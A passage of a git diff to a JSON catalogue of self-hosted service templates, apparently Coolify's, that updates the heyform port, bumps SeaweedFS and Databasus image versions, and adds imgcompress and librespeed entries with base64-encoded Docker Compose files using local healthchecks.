"compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV84MDAwCiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MDAwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV85MTU3CiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo5MTU3IHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"form",
"builder",
@ -1965,7 +1965,7 @@
"category": "productivity",
"logo": "svgs/heyform.svg",
"minversion": "0.0.0",
"port": "8000"
"port": "9157"
},
"homarr": {
"documentation": "https://homarr.dev?utm_source=coolify.io",
@ -2041,6 +2041,21 @@
"minversion": "0.0.0",
"port": "80"
},
"imgcompress": {
"documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io",
"slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.",
"compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9JTUdDT01QUkVTU181MDAwCiAgICAgIC0gJ0RJU0FCTEVfTE9HTz0ke0RJU0FCTEVfTE9HTzotZmFsc2V9JwogICAgICAtICdESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVD0ke0RJU0FCTEVfU1RPUkFHRV9NQU5BR0VNRU5UOi1mYWxzZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwo=",
"tags": [
"compress",
"photo",
"server",
"metadata"
],
"category": "media",
"logo": "svgs/imgcompress.png",
"minversion": "0.0.0",
"port": "5000"
},
"immich": {
"documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io",
"slogan": "Self-hosted photo and video management solution.",
@ -2417,6 +2432,19 @@
"minversion": "0.0.0",
"port": "3000"
},
"librespeed": {
"documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io",
"slogan": "Self-hosted lightweight Speed Test.",
"compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTElCUkVTUEVFRF84MgogICAgICAtIE1PREU9c3RhbmRhbG9uZQogICAgICAtIFRFTEVNRVRSWT1mYWxzZQogICAgICAtIERJU1RBTkNFPWttCiAgICAgIC0gV0VCUE9SVD04MgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIDEyNy4wLjAuMTo4MiB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIGludGVydmFsOiAxbTBzCiAgICAgIHJldHJpZXM6IDEK",
"tags": [
"speedtest",
"internet-speed"
],
"category": "devtools",
"logo": "svgs/librespeed.png",
"minversion": "0.0.0",
"port": "82"
},
"libretranslate": {
"documentation": "https://libretranslate.com/docs/?utm_source=coolify.io",
"slogan": "Free and open-source machine translation API, entirely self-hosted.",
@ -4099,7 +4127,7 @@
"seaweedfs": {
"documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io",
"slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.",
"compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMDUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK",
"compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMTMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK",
"tags": [
"object",
"storage",

View file

@ -818,7 +818,7 @@
"databasus": {
"documentation": "https://databasus.com/installation?utm_source=coolify.io",
"slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.",
"compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=",
"compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=",
"tags": [
"postgres",
"mysql",
@ -1951,7 +1951,7 @@
"heyform": {
"documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io",
"slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.",
"compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fODAwMAogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwMDAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK",
"compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fOTE1NwogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjkxNTcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAg